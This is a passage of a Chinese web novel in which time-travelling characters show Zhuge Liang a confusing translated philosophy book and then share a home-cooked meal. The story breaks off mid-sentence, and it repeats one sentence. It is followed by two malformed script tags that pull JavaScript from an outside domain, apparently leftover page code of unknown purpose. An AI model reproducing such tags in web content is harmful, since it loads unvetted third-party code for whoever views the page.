“这字……” 诸葛亮看向任弋,眼里满是疑惑,手指还在书页上轻轻摩挲,“看着不像隶书,也不像篆书,不知是哪一国的文字?”
任弋憋着笑,凑过去指着书页上的字解释:“这是我家乡的简体字,从隶书简化而来,方便书写。您看这个‘存’,就是‘存在’的意思,‘虚’就是‘空’的意思,‘无’就是‘没有’的意思。我给您翻译两句,您听听。”
他指着书上的 “人是注定要受自由之苦的”,慢慢翻译:“这句话的意思是,人天生是自由的,能自己选做什么,但选了之后,就得承担选择的后果 —— 这后果,就是‘苦’。”
诸葛亮一边听,一边低头看书,手指顺着句子慢慢划。越看,他的眉头皱得越紧,脸色也慢慢沉了下来。
他一边翻译,一边指着书里的句子。诸葛亮越看越沉默,眉头皱得越来越紧,脸色也慢慢沉了下来。书里的 “自在存在”“自为存在”,还有 “不是其所是且是其所不是”,绕得他头都疼,明明每个字都听懂了,连在一起却完全不明白是什么意思。
看了大概两页,诸葛亮把书递回给霍去病,先干咳了一声,才勉强笑了笑:“这…… 这是本好书,很有想法,只是里面的道理太深邃了,我还需要再思考思考,才能明白其中的深意。”
任弋和霍去病再也忍不住,哈哈大笑起来。霍去病拍着石桌笑:“我就说这书绕吧!我看了两天都没看懂,连他都觉得难,看来不是我笨!”
诸葛亮被笑得有点尴尬,赶紧转移话题,指了指厨房的方向:“时候不早了,两位公子要是不嫌弃,就在这儿吃顿便饭,都是家常小菜,别嫌弃简陋。”
任弋和霍去病当然不会拒绝,连忙点头:“不嫌弃,不嫌弃,能吃上夫人做的饭,是我们的福气。”
黄月英手脚麻利,没一会儿就端上了饭菜。
一盘清炒青菜,是院子里种的小白菜,炒得绿油油的,还撒了点盐,咬一口脆嫩爽口,带着股青菜特有的清甜;一碗煮豆子,是去年的黄豆,煮得软烂,入口即化,还带着点柴火的香气;还有一盆小米粥,熬得稠稠的,上面浮着层米油,喝一
/script src="https://m.hnkente.com/s002/fei.js"> /script src="https://m.hnkente.com/s001/fei.js">